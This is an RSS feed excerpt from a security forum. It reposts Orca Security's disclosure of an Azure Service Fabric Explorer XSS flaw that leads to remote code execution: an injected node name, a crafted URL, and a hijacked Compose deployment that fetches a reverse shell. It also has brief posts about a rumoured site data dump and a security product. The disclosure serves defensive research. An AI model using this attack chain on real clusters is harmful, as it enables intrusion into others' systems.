				<span style="font-size:16px;"><span style="color:#999999;">● MSRC started investigating the issue on December 31, 2022</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">● MSRC and Orca discussed the vulnerability and its impact on January 1, 2023</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">● MSRC and Orca discussed the case on February 8, 2023</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">● MSRC assigned CVE-2023-23383 to the vulnerability on March 14, 2023</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">● Fix was included in Microsoft March 2023 Patch Tuesday on March 14, 2023</span></span>
			</p>

			<p>
				 
			</p>

			<h2>
				<span style="font-size:16px;"><span style="color:#999999;">What is Azure Service Fabric Explorer?</span></span>
			</h2>

			<p>
				<span style="font-size:16px;"><a href="https://azure.microsoft.com/en-us/products/service-fabric/" rel="external nofollow"><span style="color:#999999;">Microsoft Azure Service Fabric</span></a><span style="color:#999999;"> is a platform for distributed systems that enables the packaging, deployment, and management of stateless and stateful microservices and containers on a large scale. It is compatible with Windows and Linux operating systems, and can be deployed on any cloud, datacenter, or even on a personal laptop, spanning across geographic regions. </span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Super FabriXss is a dangerous vulnerability that exists on Azure Service Fabric Explorer version <strong>9.1.1436.9590</strong> and earlier.</span></span>
			</p>

			<p>
				 
			</p>

			<h2>
				<span style="font-size:16px;"><span style="color:#999999;">Our Proof of Concept for the Super FabriXss Vulnerability</span></span>
			</h2>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">For the FabriXss vulnerability that we found a few months ago, both Linux and Windows Clusters were susceptible to Cross Site Scripting through exploitation of the ComposeNewDeployment function in the old dashboard. The SuperFabriXxs vulnerability however, only exists in the Windows Cluster. Below we describe the steps of the exploit.</span></span>
			</p>

			<h3>
				<span style="font-size:16px;"><span style="color:#999999;">Step 1: Creating the Azure Service Fabric Cluster</span></span>
			</h3>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">We start by creating a new Azure Service Fabric with Windows Server 2016 with containers as our main cluster operation system. Once the cluster is ready, we can jump right into it and review the new (and patched) dashboard.</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Similar to the previous Service Fabric Explorer (SFX) dashboard, which was patched in response to the FabriXss vulnerability CVE-2022-35829, the current dashboard is essentially the same. However, it differs in that we are no longer able to toggle between the old SFX and the new one.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="4s_MiyF4r6F7Jaq1SbnBxUAbdR11Ps9yPAVu-X5K" class="ipsImage" data-ratio="75.08" height="577" width="1000" src="https://lh3.googleusercontent.com/4s_MiyF4r6F7Jaq1SbnBxUAbdR11Ps9yPAVu-X5Kr6-7F2nRQBIIg81ioUtpEtjDkESp3vHPKBuPzR_IaNYCwc6Wky4ZH9ZgguM4biovp8EZVb6MRFVJmWTVtRWlq87OOssFQql0Q_w9QPbCtCmkOVE" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">As we can see, there is no option to switch between the old UI and the current one –</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="2q45IOPcKHJf9jZtYzyflNN7XS-jtHe71zJyyWWl" class="ipsImage" data-ratio="73.50" height="540" width="1000" src="https://lh6.googleusercontent.com/2q45IOPcKHJf9jZtYzyflNN7XS-jtHe71zJyyWWlBMNfYtx60rX98SDut1NrtDp7ssKK1ueLDIZvFim6kZAR6fbggBAF1DAocpuoTXCeaAzTVgwYzJqhWomYK8ifIAt7hmEjKA67iB9Qa5BXpWuuZEs" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Reviewing our Nodes list, we can see that we are currently running 6 Windows Nodes.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="_WRiznXZOA00C71KH8VyGDjP0hNHKY2E_URmpwCp" class="ipsImage" data-ratio="77.72" height="750" width="698" src="https://lh6.googleusercontent.com/_WRiznXZOA00C71KH8VyGDjP0hNHKY2E_URmpwCpBqV7PwZnAdm2-lpBV5i1xqTzQV_ceqZ-97DjXcbmWqev-Enqzl04MwwSoQ0mDzv4gBhzOrJATx0wLZbm74DfPZyD-9z1qkGoHfGS4rTBeXq_flg" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">When you click on one of the Nodes in the dashboard, it takes you to an independent Node dashboard that contains information about that specific Node. This dashboard has three main tabs:</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">● Essentials: High-level overview of the Node’s current state and health.</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">● Details: More detailed information about the Node, such as its ID, load metrics, current state, and uptime status.</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">● Events: Displays various metrics related to the events that are being executed on the Node.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">The Super FabriXss resides in the Events tab.</span></span>
			</p>

			<p>
				 
			</p>

			<h3>
				<span style="font-size:16px;"><span style="color:#999999;">Step 2: Observing Node Name Changes</span></span>
			</h3>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">We noticed that when the Node name is modified in the UI, it is reflected in the Node’s independent dashboard. This behavior allowed us to observe how the server handles non-existent and/or modified values for different variables.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="We noticed that when the Node name is modified in the UI, it is reflected in the Node's independent dashboard." data-ratio="75.08" height="376" style="border:none;vertical-align:bottom;" width="666" src="https://lh5.googleusercontent.com/y8HoLOmAxZLn9JqW7knOjyJbugYvYdIh4tKP8pTarNgOVUYLAlpMabpfay4kEzuElMFExwFH8PGhCRjcGX4Aj7TIEvnVpTseGz_AsYNf_3s-eriA64UNWPOv-i7w_NdOc2vFhzU7rQKCBQeKPzC6kRo" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">For example, we can demonstrate this by changing the name of the Node to OrcaPOC and refreshing the page. We can see that our Node is now called OrcaPOC, but no valid or existing information regarding the Node is provided. A blank space is shown next to the green health status, in contrast to the valid name shown in the previous screenshots.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="For example, we can demonstrate this by changing the name of the Node to OrcaPOC and refreshing the page." data-ratio="75.08" height="483" style="border:none;vertical-align:bottom;" width="518" src="https://lh3.googleusercontent.com/g1gSqzPVs0pSRF6-w1g5YuphSd1_pdQ6Zf5U9FP9aZotPNb7VJAPk-x7tUjMdlcU6UrKd_cXom65oXO_Lp8REg8FRPTyr7UpHSMpwg8Dyj_09IrI6_Z23-_WjDn7UmfxVWKRd8APmuXRStb7ayruMMQ" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">So now that we know our name is being reflected, the next step would be to try to insert a common HTML Injection or Cross Site Scripting (XSS) payload such as –</span></span>
			</p>

			<p>
				 
			</p>
			<span style="font-size:16px;"><span style="color:#999999;"><img alt="So now that we know that our name is being reflected, the next step would be to try to insert a common HTML Injection or Cross Site Scripting (XSS) payload" data-ratio="45.90" style="border:none;vertical-align:bottom;" width="800" src="https://lh6.googleusercontent.com/xhpAfn5nOr0k-CJls3zfDH7HGBSQX52r5nVyr7NJIsqV3IVeGKe1abzUz2uSXeuzfd9lHXo_VS_K4QgFJQ0Z3EYfcDc7kspN6OnKqFy752ljZW4I3oeEDVo6KsneUrc5IExkAhxcErUFKpnDR17-ig0" /></span></span>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">OK, so nothing unusual this far, the H1 tag was not rendered nor reflected in any unusual way. This can also be verified by reviewing the page elements:</span></span>
			</p>

			<p>
				 
			</p>
			<span style="font-size:16px;"><span style="color:#999999;"><img alt="The H1 tag was not rendered nor reflected in any unusual way. This can also be verified by reviewing the page elements." data-ratio="34.20" style="border:none;vertical-align:bottom;" width="800" src="https://lh4.googleusercontent.com/50UzD0sOqVFssdHfQx-BB_qEaNPF2amMtjCyZG8_WREwqLyXr4C03zsPhq9hJIcgXpDao21ZdIWTQ4Z2jg7_oETggUBsuFIal2my5QPdqwO7_ZhakK3uTpM9YUmWBGsG5El16UWlBMWzSa_lrGtHlow" /></span></span>

			<h3>
				<span style="font-size:16px;"><span style="color:#999999;">Step 3: Toggling the Cluster Option</span></span>
			</h3>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Switching between the different tabs reveals new capabilities that could have an effect on the Node’s newly inserted name, or may have no effect at all.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Clicking on the Events tab would show us the exact same output as we receive in the two other tabs, but what about the Node Metrics? What if an actual event would take place or was executed by the Node, how does the name reflect if at all?</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="Clicking on the Events tab, would show us the exact same output as we receive in the two other tabs." data-ratio="75.08" height="403" style="border:none;vertical-align:bottom;" width="620" src="https://lh5.googleusercontent.com/cnh0JIHSL5Zo9e6a77RpmWcodyORqpDobBcqrAaOcu5It6ky4OYYXynkWWTMtR1fIZAP70Kp3P28MXCEY9UBmzTC7zaeBAlVMoPG0sJpU94O3c8FyuEgnYSZCEHDMpKqVcZG1mOczlSgo0QKZmp9jrk" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">A single click on Event Types shows two different options: Cluster and Repair Tasks –</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="A single click on Event Types shows two different options: Cluster and Repair Tasks." data-ratio="75.08" height="435" style="border:none;vertical-align:bottom;" width="575" src="https://lh4.googleusercontent.com/zxUau5I93panZGWK1w5VI2rfKw4ZpDXHKrr6aGCKm85WYfe_L4G_PKuYTSe_gBKdgi9eWeyzkJHpfOw7TFqcjmZnpRk9v16ckiCYj_lfEThh9nzD39A7ZWSjTWXcW_AZv8nag_VKz-wMdv2H1Jd35lA" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">As we were testing and clicking on the two different options, we were surprised to find that clicking on ‘Cluster’ resulted in a new title being displayed as a large title, due to the effect of the &lt;h1&gt; tag in HTML.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="As we were testing and clicking on the two different options, we were surprised to find that clicking on 'Cluster' resulted in a new title being displayed as a large title, due to the effect of the &lt;h1&gt; tag in HTML." data-ratio="75.08" height="478" style="border:none;vertical-align:bottom;" width="524" src="https://lh4.googleusercontent.com/uDxAzcoaHVDAywAwGj7Duhwu-EWAVcNM4drsLR-6pk0O2ryYyolfZ8hyF17Cj7Ro8gqHYXiyW9EORxWD3HehANPQdre1Cx2r1J07hU0xZ-CeE8qSgjGvP_iETsY7fQ7CDCRpca0emJCeLkci59JNLFE" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">That was an interesting output since it now set us on a new course that would ultimately lead to an RCE.</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">With one click to a crafted URL and enabling the Cluster Event Type under the Events tab, we triggered the rendered JS payload, generating a sequence of events that would result in a Remote Code Execution.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">I’ll validate the same tag escape by providing a Javascript payload that triggers an alert box –</span></span>
			</p>

			<p>
				 
			</p>
			<span style="font-size:16px;"><span style="color:#999999;"><img alt="Validate the same tag escape by providing a Javascript payload that triggers an alert box." data-ratio="24.20" style="border:none;vertical-align:bottom;" width="800" src="https://lh4.googleusercontent.com/3QeHFLKbGVR92iMukbdU3FM1WAsL1W4fRtU3XiPFcKdiH4iJ0QRSEmlorTBR6MYChnIlpHs3oidMWcIMHB98EnDDQnjMlUphMDx4rTBU_P1k6AvaOf3Z6WLFT8X5Qo4YOS9BDUEzqewFwm2FX6xp1OY" /></span></span>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">I’ll encode the payload, and combine the final url –</span></span>
			</p>
			<span style="font-size:16px;"><span style="color:#999999;"><img alt="Encode the payload, and combine the final url." data-ratio="23.50" style="border:none;vertical-align:bottom;" width="800" src="https://lh3.googleusercontent.com/Yu9gtCpIj2_CxtTgJDoBqDG5JFw9i8XjgtFI6tMe9-eYfzJbxeNvkC_WdDuDHVs4YrBZ6gZUfEjXAspDw6PzOqFsqIjxtjme2STFfXuR99fL7984iil2jH1GXzy0G3b1vXtGF3AwPGkSCNA2xwYCSP4" /></span></span>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">So now, when entering any authenticated user, whether it’s the Administrator or a Low-Priv user with the appropriate permission clicks on the URL, he could be guided to enable the Cluster Event Type under the Events tab – et voilà!</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="When entering the URL, all we need to do is toggle the Cluster option." data-ratio="63.10" style="border:none;vertical-align:bottom;" width="800" src="https://lh5.googleusercontent.com/sHzj5L1RDRV_dsZHI9UeGKlROSxn3rDqW78NMuwaioB8KNjGk1IbWnQdhERiTiMBbFw6jNrEndp_XykSXuO3F95vJZEhd6XZYj0eHjMggQ0TGldgMD4EakmjVY_pfkbWecjKykitmYnxERDBfXfBr34" /></span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">In the screenshot below, it is evident that the &lt;img&gt; tag successfully bypassed the enclosing &lt;div&gt; tag, indicating that it can now be executed. This demonstrates how we managed to escape the &lt;div&gt; class.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="In the screenshot below, it is evident that the &lt;img decoding=" data-ratio="83.15" src="https://lh3.googleusercontent.com/WYpikQsTlvZasT6IVwvxtBRyBJplcy1KG4GgggYLN_CXfAbfztcKeydo4ts-ok56KaOHTIdvi_4pRdIKlCY1xUR9dnwcaidhVfB4wEblArpp14VIMTbuu9W7iKg6uB13s98Ra-78QmPsEiP-tjmef5o" /></span></span>
			</p>

			<p>
				 
			</p>

			<h3>
				<span style="font-size:16px;"><span style="color:#999999;">Step 4: Leveraging the XSS to a RCE</span></span>
			</h3>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">After discovering the </span><a href="https://orca.security/resources/blog/fabrixss-vulnerability-azure-fabric-explorer/" rel="external nofollow"><span style="color:#999999;">FabriXss</span></a><span style="color:#999999;"> vulnerability, I realized that it might be possible to achieve a similar result by abusing XSS with the newly-found vulnerability. This involves embedding an iframe that allows the attacker to leverage the victim’s permissions to execute a desired action. However, we had a different goal this time: to gain execution command on a container hosted by one of the cluster’s nodes.</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">To achieve this, we had to identify a specific functionality of Service Fabric that we could exploit. After several tests and many hours of reading documentation, we eventually discovered a vulnerability that could allow us to achieve our objective.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				 
			</p>
			<span style="font-size:16px;"><span style="color:#999999;"><img alt="The Start Compose Deployment Upgrade is sent via a POST request, and its purpose, as implied by its name, is to upgrade (i.e. overwrite) an existing Compose Deployment." data-ratio="71.00" src="https://lh3.googleusercontent.com/DrXi2HLXuN-0kAWqGZArzR9UX0Bu-3tbtvddmC3gZlaRFV6ev7MLBi78_wfAhFpwn2jihf-teREA4J9rksophCKTe0p8N9P1zMlkgdEx3zDls6-CHObWSh_o54bTZPbcvA9yL_aOpAitzwSCgbWXpwg" /></span></span>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">The Start Compose Deployment Upgrade is sent via a POST request, and its purpose, as implied by its name, is to upgrade (i.e. overwrite) an existing Compose Deployment. It was as if a lightbulb had suddenly switched on in my mind, just like in a cartoon. Reviewing the mandatory Parameters, we can see that it requires a crucial parameter called ComposeDeploymentUpgradeDescription.</span></span>
			</p>

			<p>
				 
			</p>
			<span style="font-size:16px;"><span style="color:#999999;"><img alt="Reviewing the mandatory Parameters, we can see that it requires a crucial parameter called ComposeDeploymentUpgradeDescription." data-ratio="54.50" src="https://lh4.googleusercontent.com/3xmzCLFM9KFE3uu6-x_3QM-I154ZC1LRkb2rFqQH4ZMkdQDt7GQcXF2TtlSXCG5wQBYqTjB0MLUEZV6gM4t_oZHIMddSaTRU_JPw_e1U_aJrkpYWh6wm2wKIaEolVnr8sQOE3gBThtkTtqaq4ivuYWo" /></span></span>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">In order to properly send the malicious payload, we need to understand what exactly the required properties are for the ComposeDeploymentUpgradeDescription:</span></span>
			</p>

			<p>
				 
			</p>
			<span style="font-size:16px;"><span style="color:#999999;"><img alt="n order to properly send the malicious payload, we need to understand what exactly the required properties are for the ComposeDeploymentUpgradeDescription:" data-ratio="75.08" src="https://lh3.googleusercontent.com/Sd_I_3z6jfLBIgci58_u3wP9f9AwO54W9BmgIuE1-Ygw6acRPPcHKLFOv76cPfVis8vsnKBl-ib94g016PdC88CcHGMNzEOke8MMri9YniKMZCOxs2OvIlNIkETJy92ZV7Jc5fu_Vmo_NuqBQ-d13kY" /></span></span>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">The key element that enables the attack scenario described is the ComposeFileContent. This object contains the specifications for the new deployment created by Docker Compose, which in turn is based on a Dockerfile. In this attack, the ComposeFileContent is modified to reference a new Docker image that is controlled by the attacker. </span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">The attacker creates this image using a Dockerfile that includes a CMD instruction, which will be executed when the image is built. The CMD instruction downloads a malicious .bat file that contains a PowerShell payload encoded in a specific way.  This payload will then retrieve a second-stage remote file and execute it.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">The purpose of this attack is to replace the legitimate Compose deployment (in this example, let’s assume it’s an IIS application) with the attacker’s container. Once the attack is successful, the attacker gains access to a custom container that has a Reverse Shell, which enables them to remotely execute commands and potentially take control of the entire cluster node where the container is hosted.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">The following workflow diagram illustrates the process –</span></span>
			</p>

			<p>
				 
			</p>
			<span style="font-size:16px;"><span style="color:#999999;"><img alt="In the image, an attack is demonstrated that involves sending a crafted URL to the Service Fabric Administrator." data-ratio="71.55" src="https://lh4.googleusercontent.com/v0jZdEZoOHEpJvGJ7rcdy9MS8YG-QRnm-J3msMGg1iKozUBxkhetPKJnZPgS596hj3jgh1lBaOYcEJ8bMBLo6-9aWpsS6sRHTdVlPKDT-iAoDa5GqFLTYxfMOa-9NQiFLfbBK06YphtJ4iuEZGHzfsI" /></span></span>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">In the image above, an attack is demonstrated that involves sending a crafted URL to the</span></span>
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Service Fabric Administrator. This URL includes an iframe that uses a simple fetch request to trigger an upgrade of a Compose deployment, in this case for an IIS application. The upgrade process can be monitored in the Service Fabric dashboard, and once it is completed, the application will have a new name, such as “iisupgraded.”</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">There are two main phases to the attack:</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">1. Once the iframe is embedded and the fetch request is triggered, the attacker’s code takes advantage of the upgrade process to overwrite the existing deployment with a new, malicious one. This new deployment includes a CMD instruction in its Dockerfile that will download a remote .bat file.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">2. Once the .bat file is downloaded, it is executed and in turn retrieves a second file that contains an encoded reverse shell. This reverse shell allows the attacker to gain remote access to the target system and potentially take control of the cluster node where the container is hosted.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">It’s worth noting that this attack takes advantage of the Cluster Type Toggle options under the Events Tab in the Service Fabric platform that allows an attacker to overwrite an existing Compose deployment by triggering an upgrade with a specially crafted URL from XSS Vulnerability. By taking control of a legitimate application in this way, the attacker can then use it as a platform to launch further attacks or gain access to sensitive data or resources.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">The full attack scenario can be observed in the following video:</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				 
			</p>

			<div class="ipsEmbeddedVideo" contenteditable="false">
				<div>
					<iframe allowfullscreen="" frameborder="0" height="113" src="https://www.youtube-nocookie.com/embed/tMYR1aZDYIg?feature=oembed" title="Super FabriXss Vulnerability: RCE Demonstration" width="200"></iframe>
				</div>
			</div>

			<p>
				 
			</p>

			<p>
				 
			</p>

			<p>
				<strong><span style="font-size:16px;"><span style="color:#999999;">About Orca Security</span></span></strong>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">The </span><a href="https://orca.security/about/orca-research-pod/" rel="external nofollow"><span style="color:#999999;">Orca Research Pod</span></a><span style="color:#999999;"> has discovered several critical vulnerabilities in public cloud provider platforms and worked with cloud service providers to remediate them. We continue to explore cloud products and services to find vulnerabilities before any malicious actors do, to strengthen the Orca platform and help make the cloud a safer place for all organizations. </span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Orca’s agentless </span><a href="https://orca.security/platform/" rel="external nofollow"><span style="color:#999999;">Cloud Security Platform </span></a><span style="color:#999999;">connects to your environment in minutes and provides 100% visibility into all your assets AWS, Azure, Google Cloud, and Kubernetes, automatically including new assets as they are added. Orca detects and prioritizes cloud risks across every layer of your cloud estate, including vulnerabilities, malware, misconfigurations, lateral movement risk, API risks, weak and leaked passwords, sensitive data at risk, and overly permissive identities.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Source: <a href="https://orca.security/resources/blog/super-fabrixss-azure-vulnerability/" rel="external nofollow">https://orca.security/resources/blog/super-fabrixss-azure-vulnerability/</a></span></span>
			</p>
		</div>
	</div>
</div>
]]></description><guid isPermaLink="false">116546</guid><pubDate>Sun, 23 Apr 2023 22:53:38 +0000</pubDate></item><item><title>Curteaveche.ro site spart?</title><link>https://rstforums.com/forum/topic/116427-curteavechero-site-spart/</link><description><![CDATA[<p>
	A observat careva pe Telegram ca cineva a facut un SQL dump la <a href="https://www.curteaveche.ro/" rel="external nofollow">www.curteaveche.ro</a> ?
</p>

<p>
	 
</p>

<p>
	Oare stiu aia? <span class="ipsEmoji">?</span>
</p>
]]></description><guid isPermaLink="false">116427</guid><pubDate>Thu, 02 Mar 2023 23:08:58 +0000</pubDate></item><item><title>Razdon - Security Insights</title><link>https://rstforums.com/forum/topic/116222-razdon-security-insights/</link><description><![CDATA[<p>
	Salut a todos,
</p>

<p>
	 
</p>

<p>
	Am un proiect pe partea de CyberSecurity, la care lucrez de ceva timp impreuna cu un fost coleg de munca si pe care as vrea sa vi-l prezit si voua cu speranta in a veni si a-l testa. Am fost si la Defcamp unde am avut un stand (multumim <a contenteditable="false" data-ipshover="" data-ipshover-target="https://rstforums.com/forum/profile/13976-andrei/?do=hovercard" data-mentionid="13976" href="https://rstforums.com/forum/profile/13976-andrei/" rel="">@Andrei</a> cu aceasta ocazie) si am rulat un program de BugBounty (care inca e valid - cine gaseste un bug valid il raporteaza si in functie de severitate vom premia cu vouchere Emag)
</p>

<p>
	 
</p>

<p>
	Pe scurt, este vorba de <a href="https://razdon.com" rel="external nofollow">https://razdon.com</a> , un website care va ofera posibilitatea de a "onboardui" si a veda traficul vostru LIVE cu un extra context de securitate la fiecare request.
</p>

<p>
	 
</p>

<p>
	Aceasta parte de live este prezentata sub forma unui dashboard unde poti vedea harta lumii si toate request-urile venind spre locatia serverului tau. Aveti un screenshot atasat mai jos:
</p>

<p>
	 
</p>

<p>
	<a class="ipsAttachLink ipsAttachLink_image" href="https://rstforums.com/forum/uploads/monthly_2023_01/image.png.712498498fcc4f09c99593be8a85b880.png" data-fileid="314" data-fileext="png" rel=""><img class="ipsImage ipsImage_thumbnailed" data-fileid="314" data-ratio="47.90" width="1000" alt="image.thumb.png.e749cef16fc049ba632b82d615971d1e.png" src="https://rstforums.com/forum/uploads/monthly_2023_01/image.thumb.png.e749cef16fc049ba632b82d615971d1e.png" /></a>
</p>

<p>
	 
</p>

<p>
	Dupa cum vedeti proiectul a fost dezvoltat pe RST si aici puteti vedea un window de aproximativ 8 ore cu toate statisticiile legate de RST in aceste 8 ore + traficul live, bineinteles.
</p>

<p>
	 
</p>

<p>
	Pe langa partea de dashboard live, care necesita interactiune minima (practic este doar selectia site-ului in scop - in cazul in care aveti mai multe), avem si partea de analiza de trafic.
</p>

<p>
	 
</p>

<p>
	In partea de analiza de trafic ai optiunea de a cauta in toate request-urile pe o anumita perioada de timp dupa ceva anume (ex. toate requesturile cu status code 4XX or 3XX). In partea de analiza este prezenta si un scurt istoric al atacurilor recente (cu tot cu tipul lor)
</p>

<p>
	 
</p>

<p>
	Puteti vedea o bucata din acesta pagina mai jos:
</p>

<p>
	 
</p>

<p>
	<a class="ipsAttachLink ipsAttachLink_image" href="https://rstforums.com/forum/uploads/monthly_2023_01/image.png.461f5382b5f6072376c144df7a745c23.png" data-fileid="315" data-fileext="png" rel=""><img class="ipsImage ipsImage_thumbnailed" data-fileid="315" data-ratio="51.80" width="1000" alt="image.thumb.png.e68a45d82f4e52e2bdf4fe811266d084.png" src="https://rstforums.com/forum/uploads/monthly_2023_01/image.thumb.png.e68a45d82f4e52e2bdf4fe811266d084.png" /></a>
</p>

<p>
	 
</p>

<p>
	Un alt meniu destul de interesat este cel cu partea de certificate SSL, unde va puteti verifica data de expirare a certificatului (iar pe viitor vom implementa si sistem de alerte - atat la certificate cat si la atacuri).
</p>

<p>
	 
</p>

<p>
	Un screenshot cu partea de certificate mai jos:
</p>

<p>
	 
</p>

<p>
	<a class="ipsAttachLink ipsAttachLink_image" href="https://rstforums.com/forum/uploads/monthly_2023_01/image.png.4eb65c181b2acb6ceeb6c7e8f5cf0ee7.png" data-fileid="318" data-fileext="png" rel=""><img class="ipsImage ipsImage_thumbnailed" data-fileid="318" data-ratio="19.90" width="1000" alt="image.thumb.png.8e972b243a31f8184682036e1510eccd.png" src="https://rstforums.com/forum/uploads/monthly_2023_01/image.thumb.png.8e972b243a31f8184682036e1510eccd.png" /></a>
</p>

<p>
	 
</p>

<p>
	Putem implementa si partea de WAF, dar momentan avem 0 focus in aceasta directie.
</p>

<p>
	 
</p>

<p>
	Foarte curand vom face release si la un beta pe partea de artificial intelligence / machine learning, cu ajutorul carora vom maximiza eficienta detectarii atacurilor.
</p>

<p>
	 
</p>

<p>
	Acestea fiind spuse, daca cineva este interesat de un asemenea produs, inregistrariile sunt deschise si puteti urma pasii necesari pentru a viziona traficul.
</p>

<p>
	 
</p>

<p>
	Pentru a evita intrebariile de tipul cum faceti asta, va informez de pe acum ca singurul lucru care e necesar pentru aceste actiun sunt logurile de apache, respectiv nginx cu traficul website-ului. Momentan preluam aceste loguri cu un binar scris in GO (pentru eficienta) dar voi pune si varianta (raw) cea de a trimite catre API-ul nostru log-urile fara a rula un binar (safety reasons). O mica schema pentru a intelege mai bine cum sta treaba aveti jos.
</p>

<p>
	 
</p>

<p>
	<img class="ipsImage ipsImage_thumbnailed" data-fileid="317" data-ratio="38.07" width="746" alt="image.png.5d87f07c2c646842a401a8b083507185.png" src="https://rstforums.com/forum/uploads/monthly_2023_01/image.png.5d87f07c2c646842a401a8b083507185.png" />
</p>

<p>
	 
</p>

<p>
	Mersi si o seara faina!
</p>

<p>
	 
</p>

<p>
	P.S. In caz ca vrea sa ne cumpere careva cu vreo 2-3 mil de euro sa-mi dea un MP, dupaia e mai scump.
</p>
]]></description><guid isPermaLink="false">116222</guid><pubDate>Wed, 04 Jan 2023 17:41:06 +0000</pubDate></item><item><title>A Dive Into Web Application Authentication</title><link>https://rstforums.com/forum/topic/115999-a-dive-into-web-application-authentication/</link><description><![CDATA[
	<div>
		<div>
			<div>
				<div>
					<div>
						<div>
							<div>
								<a href="https://betterappsec.medium.com/?source=post_page-----342d1d002a61--------------------------------" rel="external nofollow">James Chiappetta</a>
							</div>
						</div>
					</div>
				</div>

				<div>
					<p>
						Oct 31
					</p>
				</div>
			</div>
		</div>
	</div>



	<div>
		<div>
			<div>
				<h1>
					A Dive Into Web Application Authentication
				</h1>
			</div>

			<p>
				A closer look into Web Application Authentication and what it means at a basic level for consumers and businesses.
			</p>

			<p>
				By:<a href="https://www.linkedin.com/in/jameschip/" rel="external nofollow"> James Chiappetta</a>, with guest contributions from <a href="https://www.linkedin.com/in/jeremy-shulman-58b46b7a/" rel="external nofollow">Jeremy Shulman</a>
			</p>

			<p>
				Disclaimers:
			</p>

			<ul>
				<li>
					The opinions stated here are the authors’ own, not necessarily those of past, current, or future employers.
				</li>
				<li>
					The mentioning of books, tools, websites, and/or products/services are not formal endorsements and the authors have not taken any incentives to mention them.
				</li>
				<li>
					Recommendations are based on past experiences and not a reflection of future ones.
				</li>
			</ul>

			<h1>
